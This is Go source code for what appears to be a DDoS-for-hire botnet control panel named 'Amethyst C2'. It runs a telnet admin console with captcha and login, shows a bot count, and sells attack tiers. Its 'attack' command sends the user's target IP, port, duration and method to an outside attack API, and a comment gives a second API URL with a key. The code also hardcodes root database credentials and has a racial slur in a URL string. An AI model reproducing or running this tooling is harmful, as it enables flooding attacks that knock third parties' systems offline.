package main

import (
    "fmt"
    "net"
    "errors"
    "time"
)

const DatabaseAddr string   = "127.0.0.1:3306"
const DatabaseUser string   = "root"
const DatabasePass string   = "root"
const DatabaseTable string  = "amethyst"

var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable)

func main() {
    tel, err := net.Listen("tcp", "0.0.0.0:1337")
    if err != nil {
        fmt.Println(err)
        return
    }

    for {
        conn, err := tel.Accept()
        if err != nil {
            break
        }
        go initialHandler(conn)
    }

    fmt.Println("ERROR: run ulimit -n 999999")
}

func initialHandler(conn net.Conn) {
    defer conn.Close()

    conn.SetDeadline(time.Now().Add(10 * time.Second))

    buf := make([]byte, 32)
    l, err := conn.Read(buf)
    if err != nil || l <= 0 {
        return
    }
    NewAdmin(conn).Handle()
}

func readXBytes(conn net.Conn, buf []byte) (error) {
    tl := 0

    for tl < len(buf) {
        n, err := conn.Read(buf[tl:])
        if err != nil {
            return err
        }
        if n <= 0 {
            return errors.New("Connection closed unexpectedly")
        }
        tl += n
    }

    return nil
}

func netshift(prefix uint32, netmask uint8) uint32 {
    return uint32(prefix >> (32 - netmask))
}


package main

import (
    "fmt"
    "net"
    "time"
    "math/rand"
    "strconv"
    "strings"
    "net/http"
    "io/ioutil"
)

type Admin struct {
    conn    net.Conn
}

func NewAdmin(conn net.Conn) *Admin {
    return &Admin{conn}
}


func (this *Admin) Handle() {
    this.conn.Write([]byte("\033[?1049h"))
    this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))

    defer func() {
        this.conn.Write([]byte("\033[?1049l"))
    }()
    // Get captcha
    var code int
    code = (rand.Intn(9)+1)*1000 + (rand.Intn(9)+1)*100 + (rand.Intn(9)+1)*10 + rand.Intn(10)
    captcha, err := ioutil.ReadFile("banner/captcha.tfx")
    if err != nil {
        return
    }
    capt := string(captcha)
    captch := strings.Replace(capt, "\n", "\r\n", -1)
    captchaaa := strings.Replace(captch, "<<$clear>>", "\033[2J\033[1;1H", -1)
    captchaa := strings.Replace(captchaaa, "<<$captcha>>", strconv.Itoa(code), -1)
    this.conn.Write([]byte(captchaa))
    captchaPrompt, err := ioutil.ReadFile("banner/captcha-prompt.tfx")
    Prompt := string(captchaPrompt)
    this.conn.Write([]byte(Prompt))
    ask, err := this.ReadLine(false)
    if ask != strconv.Itoa(code) {
        return
    }
    if err != nil {
        return
    }

    // Get username
    this.conn.Write([]byte("\033[2J\033[1;1H"))
    this.conn.SetDeadline(time.Now().Add(60 * time.Second))
    this.conn.Write([]byte("Username >> "))
    username, err := this.ReadLine(true)
    if err != nil {
        return
    }

    // Get password
    this.conn.SetDeadline(time.Now().Add(60 * time.Second))
    this.conn.Write([]byte("Password >> "))
    password, err := this.ReadLine(true)
    if err != nil {
        return
    }

    this.conn.SetDeadline(time.Now().Add(120 * time.Second))
    this.conn.Write([]byte("\r\n"))

    var loggedIn bool
    var userInfo AccountInfo
    if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
        this.conn.Write([]byte("\r\033[00;32mInvalid Credentials, Forgot your password? DM @ssh.mips on insta for password reset!.\r\n"))
        buf := make([]byte, 1)
        this.conn.Read(buf)
        return
    }

    this.conn.Write([]byte("\r\n\033[0m"))
    go func() {
        i := 0
        for {
            time.Sleep(time.Second)
            if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;[ - ] Amethyst C2 + Bots: 19424 + User: %s\007", username))); err != nil {
                this.conn.Close()
                break
            }
            i++
            if i % 60 == 0 {
                this.conn.SetDeadline(time.Now().Add(120 * time.Second))
            }
        }
    }()
	this.conn.Write([]byte("\033[2J\033[1;1H"))
        filee, err := ioutil.ReadFile("banner/home.tfx")
        if err != nil {
            return
        }
        newfe := string(filee)
        mainformate := strings.Replace(newfe, "\n", "\r\n", -1)
        secformate := strings.Replace(mainformate, "<<$clear>>", "\033[2J\033[1;1H", -1)
        thirformate := strings.Replace(secformate, "<<$user>>", username, -1)
        this.conn.Write([]byte(thirformate))
    for {
        file, err := ioutil.ReadFile("banner/prompt.tfx")
        if err != nil {
            return
        }
        newf := string(file)
        mainformat := strings.Replace(newf, "\n", "\r\n", -1)
        this.conn.Write([]byte(mainformat))
        cmd, err := this.ReadLine(false)

        if err != nil || cmd == "exit" || cmd == "quit" {
            return
        }
        if cmd == "" {
            continue
        }
		if err != nil || cmd == "CLEAR" || cmd == "clear" || cmd == "cls" || cmd == "CLS" {
	this.conn.Write([]byte("\033[2J\033[1;1H"))
        filee, err := ioutil.ReadFile("banner/home.tfx")
        if err != nil {
            return
        }
        newfe := string(filee)
        mainformate := strings.Replace(newfe, "\n", "\r\n", -1)
        secformate := strings.Replace(mainformate, "<<$clear>>", "\033[2J\033[1;1H", -1)
        thirformate := strings.Replace(secformate, "<<$user>>", username, -1)
        this.conn.Write([]byte(thirformate))
        continue
	}

        if err != nil || cmd == "HELP" || cmd == "help" || cmd == "?" {
      	this.conn.Write([]byte("\033[2J\033[1;1H"))
        file, err := ioutil.ReadFile("banner/help.tfx")
        if err != nil {
            return
        }
        newf := string(file)
        mainformat := strings.Replace(newf, "\n", "\r\n", -1)
        secformat := strings.Replace(mainformat, "<<$clear>>", "\033[2J\033[1;1H", -1)
        thirformat := strings.Replace(secformat, "<<$user>>", username, -1)
        this.conn.Write([]byte(thirformat))
            continue
        }

        if err != nil || cmd == "METHODS" || cmd == "methods" {
	this.conn.Write([]byte("\033[2J\033[1;1H"))
        file, err := ioutil.ReadFile("banner/methods.tfx")
        if err != nil {
            return
        }
        newf := string(file)
        mainformat := strings.Replace(newf, "\n", "\r\n", -1)
        secformat := strings.Replace(mainformat, "<<$clear>>", "\033[2J\033[1;1H", -1)
        thirformat := strings.Replace(secformat, "<<$user>>", username, -1)
        this.conn.Write([]byte(thirformat))
            continue
        }
        if strings.Contains(cmd, ".") {
            args := strings.Split(cmd, " ")[1:]
            if len(args) != 3 {
                 this.conn.Write([]byte("Incorrect Usage, Usage: .[method] [target] [port] [time]\r\nExample: .udp 70.70.70.72 80 30\n"));
            } else if strings.Contains(cmd, ".udp") {
                    target := args[0]
                    port := args[1]
                    timee := args[2]
                    file, err := ioutil.ReadFile("banner/attack-sent.tfx")
                    if err != nil {
                        return
                    }
                    newf := string(file)
                    if userInfo.plan == 0 {
                        b := strings.Replace(newf, "\n", "\r\n", -1)
                        ba := strings.Replace(b, "<<$clear>>", "\033[2J\033[1;1H", -1)
                        bas := strings.Replace(ba, "<<$target>>", target, -1)
                        basi := strings.Replace(bas, "<<$port>>", port, -1)
                        basic := strings.Replace(basi, "<<$method>>", "udp-rocket", -1)
                        basicc := strings.Replace(basic, "<<$time>>", timee, -1)
                        basiccc := strings.Replace(basicc, "<<$username>>", username, -1)
                        basicccc := strings.Replace(basiccc, "<<$plan>>", "BASIC", -1)
                        this.conn.Write([]byte(basicccc))
                    } else if userInfo.plan == 1 {
                        v := strings.Replace(newf, "<<$clear>>", "\033[2J\033[1;1H", -1)
                        vi := strings.Replace(v, "<<$target>>", target, -1)
                        vip := strings.Replace(vi, "<<$port>>", port, -1)
                        vipp := strings.Replace(vip, "<<$method>>", "udp-rocket", -1)
                        vippp := strings.Replace(vipp, "<<$time>>", timee, -1)
                        vipppp := strings.Replace(vippp, "<<$username>>", username, -1)
                        vippppp := strings.Replace(vipppp, "<<$plan>>", "V.I.P", -1)
                        this.conn.Write([]byte(vippppp))
                    } else if userInfo.plan == 2 {
                        p := strings.Replace(newf, "<<$clear>>", "\033[2J\033[1;1H", -1)
                        pr := strings.Replace(p, "<<$target>>", target, -1)
                        prof := strings.Replace(pr, "<<$port>>", port, -1)
                        profe := strings.Replace(prof, "<<$time>>", timee, -1)
                        profes := strings.Replace(profe, "<<$method>>", "udp-rocket", -1)
                        profess := strings.Replace(profes, "<<$username>>", username, -1)
                        professional := strings.Replace(profess, "<<$plan>>", "PROFESSIONAL", -1)
                        this.conn.Write([]byte(professional))
                    } else if userInfo.admin == 1 {
                        a := strings.Replace(newf, "<<$clear>>", "\033[2J\033[1;1H", -1)
                        ad := strings.Replace(a, "<<$target>>", target, -1)
                        adm := strings.Replace(ad, "<<$port>>", port, -1)
                        admi := strings.Replace(adm, "<<$method>>", "udp-rocket", -1)
                        admin := strings.Replace(admi, "<<$time>>", timee, -1)
                        adminn := strings.Replace(admin, "<<$username>>", username, -1)
                        adminnn := strings.Replace(adminn, "<<$plan>>", "ADMIN", -1)
                        this.conn.Write([]byte(adminnn))
                    }
            }
        }
        // https://rocket-api.space/api/?key=QiNFMN1u7PI6aPHA&host=[host]&port=[port]&time=[time]&method=[method]
                if err != nil || cmd == "attack" || cmd == "ATTACK" {
                        this.conn.Write([]byte("Target >> "))
                        locipaddress, err := this.ReadLine(false)
                        this.conn.Write([]byte("Port >> "))
                        port, err := this.ReadLine(false)
                        this.conn.Write([]byte("bnbgg >> "))
                        timee, err := this.ReadLine(false)
                        this.conn.Write([]byte("Method >> "))
                        method, err := this.ReadLine(false)
                        if err != nil {
                                return
                        }
                        url := "https://api.amethyst.services/api/?key=niggerhost="+locipaddress+"&port="+port+"&time="+timee+"&method="+method
                        tr := &http.Transport{
                            ResponseHeaderTimeout: 5 * time.Second,
                            DisableCompression:    true,
                        }
                        client := &http.Client{Transport: tr, Timeout: 5 * time.Second}
                        client.Get(url)
                        file, err := ioutil.ReadFile("banner/attack-sent.tfx")
                        if err != nil {
                            return
                        }
                        newf := string(file)
                        if userInfo.plan == 0 {
                            b := strings.Replace(newf, "\n", "\r\n", -1)
                            ba := strings.Replace(b, "<<$clear>>", "\033[2J\033[1;1H", -1)
                            bas := strings.Replace(ba, "<<$target>>", locipaddress, -1)
                            basi := strings.Replace(bas, "<<$port>>", port, -1)
                            basic := strings.Replace(basi, "<<$method>>", method, -1)
                            basicc := strings.Replace(basic, "<<$time>>", timee, -1)
                            basiccc := strings.Replace(basicc, "<<$username>>", username, -1)
                            basicccc := strings.Replace(basiccc, "<<$plan>>", "BASIC", -1)
                            this.conn.Write([]byte(basicccc))
                        } else if userInfo.plan == 1 {
                            v := strings.Replace(newf, "<<$clear>>", "\033[2J\033[1;1H", -1)
                            vi := strings.Replace(v, "<<$target>>", locipaddress, -1)
                            vip := strings.Replace(vi, "<<$port>>", port, -1)
                            vipp := strings.Replace(vip, "<<$method>>", method, -1)
                            vippp := strings.Replace(vipp, "<<$time>>", timee, -1)
                            vipppp := strings.Replace(vippp, "<<$username>>", username, -1)
                            vippppp := strings.Replace(vipppp, "<<$plan>>", "V.I.P", -1)
                            this.conn.Write([]byte(vippppp))
                        } else if userInfo.plan == 2 {
                            p := strings.Replace(newf, "<<$clear>>", "\033[2J\033[1;1H", -1)
                            pr := strings.Replace(p, "<<$target>>", locipaddress, -1)
                            prof := strings.Replace(pr, "<<$port>>", port, -1)
                            profe := strings.Replace(prof, "<<$time>>", timee, -1)
                            profes := strings.Replace(profe, "<<$method>>", method, -1)
                            profess := strings.Replace(profes, "<<$username>>", username, -1)
                            professional := strings.Replace(profess, "<<$plan>>", "PROFESSIONAL", -1)
                            this.conn.Write([]byte(professional))
                        } else if userInfo.admin == 1 {
                            a := strings.Replace(newf, "<<$clear>>", "\033[2J\033[1;1H", -1)
                            ad := strings.Replace(a, "<<$target>>", locipaddress, -1)
                            adm := strings.Replace(ad, "<<$port>>", port, -1)
                            admi := strings.Replace(adm, "<<$method>>", method, -1)
                            admin := strings.Replace(admi, "<<$time>>", timee, -1)
                            adminn := strings.Replace(admin, "<<$username>>", username, -1)
                            adminnn := strings.Replace(adminn, "<<$plan>>", "ADMIN", -1)
                            this.conn.Write([]byte(adminnn))
                        }
                        continue
                        }
   }
}

func (this *Admin) ReadLine(masked bool) (string, error) {
    buf := make([]byte, 999999)
    bufPos := 0

    for {
        n, err := this.conn.Read(buf[bufPos:bufPos+1])
        if err != nil || n != 1 {
            return "", err
        }
        if buf[bufPos] == '\xFF' {
            n, err := this.conn.Read(buf[bufPos:bufPos+2])
            if err != nil || n != 2 {
                return "", err
            }
            bufPos--
        } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
            if bufPos > 0 {
                this.conn.Write([]byte(string(buf[bufPos])))
                bufPos--
            }
            bufPos--
        } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
            bufPos--
        } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
            this.conn.Write([]byte("\r\n"))
            return string(buf[:bufPos]), nil
        } else if buf[bufPos] == 0x03 {
            this.conn.Write([]byte("^C\r\n"))
            return "", nil
        } else {
            if buf[bufPos] == '\x1B' {
                buf[bufPos] = '^';
                this.conn.Write([]byte(string(buf[bufPos])))
                bufPos++;
                buf[bufPos] = '[';
                this.conn.Write([]byte(string(buf[bufPos])))
            } else if masked {
                this.conn.Write([]byte("*"))
            } else {
                this.conn.Write([]byte(string(buf[bufPos])))
            }
        }
        bufPos++
    }
    return string(buf), nil
}